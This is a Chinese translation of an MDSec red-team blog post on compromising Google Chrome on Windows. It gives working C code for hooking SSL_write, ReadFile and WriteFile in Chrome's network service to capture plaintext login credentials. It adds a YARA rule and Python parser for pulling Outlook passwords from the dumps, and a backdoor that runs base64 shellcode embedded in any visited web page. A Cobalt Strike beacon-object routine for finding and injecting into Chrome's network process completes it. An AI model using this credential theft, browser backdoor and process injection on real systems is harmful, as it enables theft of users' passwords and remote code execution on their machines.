Web浏览器默认就是受用户信任的,浏览器地址栏上会有一个安全挂锁标志,有些还会标注是受信任网站。这种信任使用户放心地将敏感数据输入这些网站,从攻击者的角度来看,这种信任是好事,因为一旦你破坏了用户工作站,就会有一个进程处理大量的敏感数据,同时又会被用户大量使用。使用带有浏览器扩展程序的密码管理器,你就会成为红队攻击的目标。
0x01 总体概述
我决定研究的浏览器是Google Chrome,原因很简单,因为它拥有台式机浏览器近70%的市场份额,所以它是迄今为止最受欢迎的浏览器,因此是明显的选择。
与大多数浏览器一样,Chrome使用多进程架构(如下所示):
这样做的原因是出于安全性和可用性的考虑,它允许对浏览器的特定部分(例如渲染器)进行沙盒处理,同时仍允许浏览器的其他部分在不受沙盒限制的情况下运行。Chrome分为7个不同的部分,其中最重要的部分是网络服务,存储服务和渲染器。网络服务按其提示运行,它处理与Internet的通信,因此可以获取我们追踪的敏感数据。
0x02 窃取数据
我将针对Windows上运行的Chrome,而且Windows拥有自己的套接字库,称为Winsock。因此,Chrome很可能会使用Winsock进行网络通信。Chrome的大部分代码都存储在内部, 因此将chrome.dll加载到IDA中并查看WSASend 。
唯一的问题是,当用户连接到未启用SSL的站点时,WSASend仅将包含纯文本数据,这不太可能是我们要从中窃取数据的站点。那么,我们如何才能获得相同的数据,我们只针对SSL加密函数进行分析。
在Chrome开发过程中的某个地方,Google认为OpenSSL对他们来说还不够安全,因此他们自己制作了一个名为 BoringSSL的分支。它们保留了原始的核心函数名称, 例如 SSL_write,在OpenSSL和BoringSSL中都做相同的事情。它将指向某些纯文本数据的指针作为 buf 参数,并将ssl写入参数所指向的SSL流 。该函数的源代码如下所示:
我们可以通过搜索字符串 SSL_write 确认是Chrome在使用 chrome.dll:
经过一番寻找之后,我在offset 0x0000000182ED03E0位置找到了函数 ,我已经重命名了一些变量和函数名称,因此可以很清楚地看到它是 SSL_write 函数:
现在我们有了偏移量,可以放置一个钩子来将调用从合法重定向 SSL_write 到我们的 SSL_write 函数,我在之前的博客文章中做了这件事 。
我写了 一段代码 来搜索以下模式字符串:
41 56 56 57 55 53 48 83 EC 40 45 89 C6 48 89 D7 48 89 CB 48 8B 05 EE 3E DC 05 48 31 E0 48 89 44
并将其替换为以下函数,该函数将仅在其中显示一个带有请求数据的文本框。
int SSL_write(void* ssl, void* buf, int num) { MessageBoxA(NULL, (char*)buf, "SSL_write", 0); return Clean_SSLWrite(ssl, buf, num); }
我将DLL注入到网络服务中,并登录到Outlook帐户。如预期的那样,我有两个弹出框,一个包含请求标头,另一个包含POST正文:
为了确保这一点,我尝试登录了其他两个网站,在我尝试登录google服务并且没有弹框之前,一切似乎都正常运行。我不明白为什么我能够捕获除从任何请求到Google服务之外的所有请求。经过研究后,我发现了 QUIC 协议。事实证明,谷歌已决定TCP不再支持HTTP,而Chrome现在将改为使用UDP。
但是仍有一线希望,至少这迫使我承认Chrome实际上支持多种不同的协议这一事实,并且我必须找到一种更通用的解决方案来实现自己的目标。
0x03 在多协议模式中窃取数据
现在完全可以重复上述过程,找到每个协议的关键函数的偏移量,然后进行Hook。但这似乎是一项艰巨的工作,并不是一种特别优雅的方法。取而代之的是,我决定寻找一种更简洁的方法。
回顾Chrome使用的多进程体系结构,我意识到渲染器进程必须使用一种方法将请求传达给网络服务并接收回响应。我发现了 这个分享 ,他给出了有关浏览器如何使用进程间通信(IPC)的许多细节。通过针对两个进程之间用于IPC的函数,我现在可以窃取正在发送和接收的数据,这与协议无关。
在IPC通信期间,Chrome将使用多个不同的管道,调用控制\\.\pipe\chromeipc管道 ,而其他管道则用于传输数据,例如请求,响应,Cookie,已保存的凭据等。我发现了一个chromium-ipc-sniffer的工具 ,它将使我能够使用Wireshark嗅探Chromes控制管道发送的数据。
启动后发送了许多不相关的数据,因此我使用以下过滤器将其优化为仅包含我想查看的通信数据:
npfs.process_type contains "Network Service" && npfs.process_type contains "Broker"
在执行IPC时,Chrome使用的是 Mojo,它是一种数据格式,基使Chrome可以轻松地传递数据并快速调用内部函数。如下面的图像所示,代理将在网络服务中调用 Mojo方法URLLoaderFactory.CreateLoaderAndStart ,并为它提供HTTP请求的关键信息,例如方法,域和Headers:
渲染器将直接使用代理作为这些请求的代理,而不是将请求直接传达给网络服务。
现在我们确定请求数据将通过IPC传输,可以开始窃取此数据了,这样做实际上非常容易,因为你只需挂接单个Windows API调用即可获取请求的内容,而与要发送的协议无关,考虑以下Chrome自身内部代码的示例:
DWORD dwRead; LPVOID lpBuffer = NULL; HANDLE hPipe = CreateFile(L"\\\\.\\pipe\\chromeipc", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); while (hPipe != INVALID_HANDLE_VALUE) { while (ReadFile(hPipe, lpBuffer, sizeof(lpBuffer), &dwRead, NULL) != FALSE) { HandleMojoData(lpBuffer); } CloseHandle(hPipe); }
与其使用字节模式来查找HandleMojoData,还不如仅指定 ReadFile 的地址出现在PEB中,并可以通过调用轻松访问, 而不是使用字节模式来查找 GetProcAddress。下面是我要将合法ReadFile 函数重定向到的函数:
BOOL Hooked_ReadFile( HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped ) { // so we can verify if the function is hooked or not if (hFile == (HANDLE)READFILE_HOOKED && lpBuffer == NULL) { return TRUE; } b WriteBufferToLog(lpBuffer, nNumberOfBytesToRead); return Clean_ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped); }
该函数所要做的就是将将从命名管道写入到磁盘上文件的数据记录下来,然后调用原始 ReadFile 函数。可以在这里找到此代码 。
https://github.com/bats3c/ChromeTools/blob/main/chrometap/wiretap/dllmain.cpp
我之所以不包括仅记录请求数据的Mojo解析器,而是记录所有内容,仅仅是因为Chrome具有如此庞大的代码库,我几乎可以确定HTTP请求数据不会成为通过这些管道传递的唯一价值数据。考虑到这一点,有意义的是记录所有内容并在以后进行解析,而不会永远丢失该数据。
注入Hook DLL并再次登录Outlook之后,进行正则,我就能找到我用来登录的凭据:
尝试 使用QUIC协议登录 https://account.google.com/,如下面的截图所示,我们现在可以窃取纯文本凭据:
现在唯一的挑战是解析此文件并提取尽可能多的加密信息。
0x04 编写YARA规则获取登录口令
我需要编写一个实用程序来解析此Dump文件,它需要能够在多个不同的请求类型之间进行匹配和区分,然后以一种可以轻松检索请求加密数据的方式解析此类请求。为此,请结合使用YARA规则和我编写的python的插件系统 hunt.py。
使用的hunt.py 语法非常简单
./hunt.py
然后它将搜索Dump并找到key,如下所示:
编写规则和插件实际上非常容易。首先,你需要查看请求并挑选出可用于标识YARA规则请求的字符串:
然后使用这些字符串可以编写如下的YARA规则,规则应存储在 rules/ 目录中:
rule outlook_creds { meta: author = "@_batsec_" plugin = "outlook_parse" strings: $str1 = "login.live.com" $str2 = "login=" $str3 = "hisScaleUnit=" $str4 = "passwd=" condition: all of them }
当 hunt.py 找到一个匹配时,它使用 plugin 变量中的规则来作为上述插件的名称来加载并解析该请求。
插件只是plugins.py 文件中的一个函数 。它将以字节对象的形式收到原始请求,并返回一个字典,其中包含找到的所有内容的名称和Key,例如 {'site': 'login.live.com', 'username': 'asdf%40asdf.com', 'password': 'ThisIsMyVerySecurePassword123%21'}。
解析Outlook请求的插件如下所示:
def outlook_parse(request): creds = {} creds['site'] = 'login.live.com' login = re.search(rb'login=(.*)&', request).group(1).decode() login = login[:login.index('&')] creds['username'] = login passwd = re.search(rb'passwd=(.*)&', request).group(1).decode() passwd = passwd[:passwd.index('&')] creds['password'] = passwd return creds
看一下我们的chrometap BOF 利用:
https://player.vimeo.com/video/499545085
0x05 在Chrome中植入后门
能够从请求中窃取Key是一回事,但是怎么样使用Chrome作为隐蔽持久化的工具呢。
为了解决这个问题,我们将需要找到一种方法来查看Web请求的响应,但是,如果我们可以通过连接ReadFile 网络服务来查看Web请求,则我们可以将这些请求的响应作为回写的内容进行查看。
Hook函数 WriteFile,我修改了前面的代码来Dump WriteFile。将其注入网络服务并分析Dump文件,我原本希望看到大量HTML / CSS / JavaScript文件,但令我惊讶的是,并没有这些文件:
我很困惑,我以为我的假设是错误的,并且响应内容是通过IPC的另一种方式传达的。我花了一些时间研究共享内存(Chrome浏览器使用IPC的另一种方法),但仍然找不到响应内容。
感到沮丧的是,我正在查看请求标头,以查看是否有任何我错过的内容。然后我注意到了编码头,这就说得通了:
我以为网络服务将处理所有内容并将响应传递给渲染器进行渲染,但是从Dump文件中压缩后的内容量来看,渲染过程似乎也可以处理解压缩:
通过提取和解压缩压缩后的内容,我们可以看到它实际上是我一直在搜索的Web内容。
因此,现在我们知道,通过Hook WriteFile 并解压缩数据, lpBuffer 将为我们提供纯文本Web内容。
然后,使用 这个 不错的gzip小解压缩库,我能够编写一个替换WriteFile 的函数,该函数将对数据进行解压缩 ,并将HTML标记之间的数据提供 ExecuteShellcode 给要执行的 shellcode函数。
#define SHCPATTERN1 "" #define SHCPATTERN2 "" BOOL Hooked_WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) { int res; DWORD i; char *start, *end; char *target = NULL; unsigned char *dest = NULL; unsigned char *source = NULL; unsigned int len, dlen, outlen; DWORD_PTR dwBuf = (DWORD_PTR)lpBuffer; if (hFile == (HANDLE)WRITEFILE_HOOKED && lpBuffer == NULL) { return TRUE; } if (lpBuffer != NULL && nNumberOfBytesToWrite >= 18) { tinf_init(); auto ucharptr = static_cast(lpBuffer); source = const_cast(ucharptr); dlen = read_le32(&source[nNumberOfBytesToWrite - 4]); dest = (unsigned char *) malloc(dlen ? dlen : 1); if (dest == NULL) { goto APICALL; } outlen = dlen; res = tinf_gzip_uncompress(dest, &outlen, source, nNumberOfBytesToWrite); if ((res != TINF_OK) || (outlen != dlen)) { free(dest); goto APICALL; } for (i = 0; i < outlen; i++) { if (!memcmp((PVOID)(dest + i), (unsigned char*)SHCPATTERN1, strlen(SHCPATTERN1))) { if ( start = strstr( (char*)dest, SHCPATTERN1 ) ) { start += strlen( SHCPATTERN1 ); if ( end = strstr( start, SHCPATTERN2 ) ) { target = ( char * )malloc( end - start + 1 ); memcpy( target, start, end - start ); target[end - start] = '\0'; ExecuteShellcode(target); } } } } free(dest); free(target); goto APICALL; } goto APICALL; APICALL: return Clean_WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); }
在 ExecuteShellcode 中没有做什么特别的事情,它只是使用Windows API为Base64解码了shellcode,然后执行它。
BOOL ExecuteShellcode(char* shellcode) { DWORD dwOutLen; int shellcode_len = strlen(shellcode); FUNC_CryptStringToBinaryA CryptStringToBinaryA = (FUNC_CryptStringToBinaryA)GetProcAddress( LoadLibraryA("crypt32.dll"), "CryptStringToBinaryA"); CryptStringToBinaryA( (LPCSTR)shellcode, (DWORD)shellcode_len, CRYPT_STRING_BASE64, NULL, &dwOutLen, NULL, NULL ); BYTE* pbBinary = (BYTE*)malloc(dwOutLen + 1); CryptStringToBinaryA( (LPCSTR)shellcode, (DWORD)shellcode_len, CRYPT_STRING_BASE64, pbBinary, &dwOutLen, NULL, NULL ); void* module = VirtualAlloc(0, dwOutLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(module, pbBinary, dwOutLen); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)module, NULL, 0, 0); return TRUE; }
由于我们现在有了一个DLL,一旦注入DLL,它将迫使Chrome执行标签之间的任何shellcode ,对其进行测试:
如果你使用加入了后门的浏览器访问我博客的主页, 则将运行shellcode:
你需要做的就是让用户访问一个包含纯文本shellcode标记的Web资源,无论它是链接,图像,iframe还是其他任何文本。
你可以在每次重新启动后使用任何常规的持久化技术来重新插入钩子。
0x06 Shellcode武器化
以DLL形式拥有这些工具很有用,但对于红队渗透而言却不是很实用,因为我必须以某种方式识别Chrome的网络服务,然后注入所说的DLL。因此,我决定结合使用 sRDI 和Cobalt Strikes的 beacon对象文件 来部署它们。
我编写了beacon对象文件(BoF)以使用直接的系统调用,这要归功于@Cneelis 在InlineWhispers上 所做的出色工作,使操作变得容易 得多。
首先要找到Chrome的网络服务。它以映像名称 chrome.exe 运行,因此我将NtQuerySystemInformation syscall与 SystemProcessInformation 参数一起使用, 以获取指向SYSTEM_PROCESSES 结构的指针,该结构包含有关计算机上当前正在运行的所有进程的信息。
typedef struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; HANDLE ProcessId; HANDLE InheritedFromProcessId; } SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;
然后使用 NextEntryDelta 通过的处理进行迭代,直到 ProcessName.Buffer 是 chrome.exe。
DWORD GetChromeNetworkProc() { NTSTATUS dwStatus; ULONG ulRetLen = 0; LPVOID lpBuffer = NULL; DWORD dwPid, dwProcPid = 0; if (NtQuerySystemInformation(SystemProcessInformation, 0, 0, &ulRetLen) != STATUS_INFO_LENGTH_MISMATCH) { goto Cleanup; } lpBuffer = MSVCRT$malloc(ulRetLen); if (lpBuffer == NULL) { goto Cleanup; } if (!NtQuerySystemInformation(SystemProcessInformation, lpBuffer, ulRetLen, &ulRetLen) == STATUS_SUCCESS) { goto Cleanup; } PSYSTEM_PROCESSES lpProcInfo = (PSYSTEM_PROCESSES)lpBuffer; do { dwPid = 0; lpProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)lpProcInfo) + lpProcInfo->NextEntryDelta); dwProcPid = *((DWORD*)&lpProcInfo->ProcessId); if (MSVCRT$wcscmp(lpProcInfo->ProcessName.Buffer, L"chrome.exe") == 0) { if (IsNetworkProc(dwProcPid)) { dwPid = dwProcPid; goto Cleanup; } } if (lpProcInfo->NextEntryDelta == 0) { goto Cleanup; } } while (lpProcInfo); Cleanup: return dwPid; }
一旦找到一个名为 chrome.exe 进程的进程,其进程ID将传递给该IsNetworkProc 函数,该函数将确定它是否实际上是网络服务。这是通过使用 NtQueryInformationProcess syscall来获取远程进程中进程环境块(PEB)的地址,然后遍历PEB直到找到启动该进程的命令行参数来完成的。如果--utility-sub-type=network.mojom.NetworkService 在启动chrome.exe 进程时使用了该标志, 则该进程将成为网络服务。
BOOL IsNetworkProc(DWORD dwPid) { PPEB pPeb; SIZE_T stRead; HANDLE hProcess; NTSTATUS dwStatus; BOOL bStatus = FALSE; PWSTR lpwBufferLocal; PROCESS_BASIC_INFORMATION BasicInfo; MSVCRT$memset(&BasicInfo, '\0', sizeof(BasicInfo)); if ((hProcess = OpenProcessHandle(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, dwPid)) == INVALID_HANDLE_VALUE) { bStatus = FALSE; goto Cleanup; } if ((dwStatus = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &BasicInfo, sizeof(BasicInfo), NULL)) != STATUS_SUCCESS) { bStatus = FALSE; goto Cleanup; } LPVOID lpPebBuf = MSVCRT$malloc(sizeof(PEB)); if (lpPebBuf == NULL) { bStatus = FALSE; goto Cleanup; } if (NtReadVirtualMemory(hProcess, BasicInfo.PebBaseAddress, lpPebBuf, sizeof(PEB), &stRead) != STATUS_SUCCESS) { bStatus = FALSE; goto Cleanup; } PPEB pPebLocal = (PPEB)lpPebBuf; PRTL_USER_PROCESS_PARAMETERS pRtlProcParam = pPebLocal->ProcessParameters; PRTL_USER_PROCESS_PARAMETERS pRtlProcParamCopy = (PRTL_USER_PROCESS_PARAMETERS)MSVCRT$malloc(sizeof(RTL_USER_PROCESS_PARAMETERS)); if (pRtlProcParamCopy == NULL) { bStatus = FALSE; goto Cleanup; } if (NtReadVirtualMemory(hProcess, pRtlProcParam, pRtlProcParamCopy, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL) != STATUS_SUCCESS) { bStatus = FALSE; goto Cleanup; } USHORT len = pRtlProcParamCopy->CommandLine.Length; PWSTR lpwBuffer = pRtlProcParamCopy->CommandLine.Buffer; if ((lpwBufferLocal = (PWSTR)MSVCRT$malloc(len)) == NULL) { bStatus = FALSE; goto Cleanup; } if (NtReadVirtualMemory(hProcess, lpwBuffer, lpwBufferLocal, len, NULL) != STATUS_SUCCESS) { bStatus = FALSE; goto Cleanup; } if (MSVCRT$wcsstr(lpwBufferLocal, L"--utility-sub-type=network.mojom.NetworkService") != NULL) { bStatus = TRUE; } goto Cleanup; Cleanup: if (hProcess) { KERNEL32$CloseHandle(hProcess); } return bStatus; }
一旦找到网络进程,它将使用下面的代码将DLL注入到进程中,该DLL现在由于sRDI而变成了与位置无关的shellcode。
BOOL InjectShellcode(DWORD dwChromePid, DWORD dwShcLen, LPVOID lpShcBuf) { ULONG ulPerms; LPVOID lpBuffer = NULL; HANDLE hProcess, hThread; SIZE_T stSize = (SIZE_T)dwShcLen; if ((hProcess = OpenProcessHandle(PROCESS_ALL_ACCESS, dwChromePid)) == INVALID_HANDLE_VALUE) { return FALSE; } NtAllocateVirtualMemory(hProcess, &lpBuffer, 0, &stSize, (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); if (lpBuffer == NULL) { return FALSE; } if (NtWriteVirtualMemory(hProcess, lpBuffer, lpShcBuf, dwShcLen, NULL) != STATUS_SUCCESS) { return FALSE; } if (NtProtectVirtualMemory(hProcess, &lpBuffer, &stSize, PAGE_EXECUTE_READ, &ulPerms) != STATUS_SUCCESS) { return FALSE; } NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, FALSE, 0, 0, 0, NULL); if (hThread == INVALID_HANDLE_VALUE) { return FALSE; } return TRUE; }
本文翻译自:https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/如若转载,请注明原文地址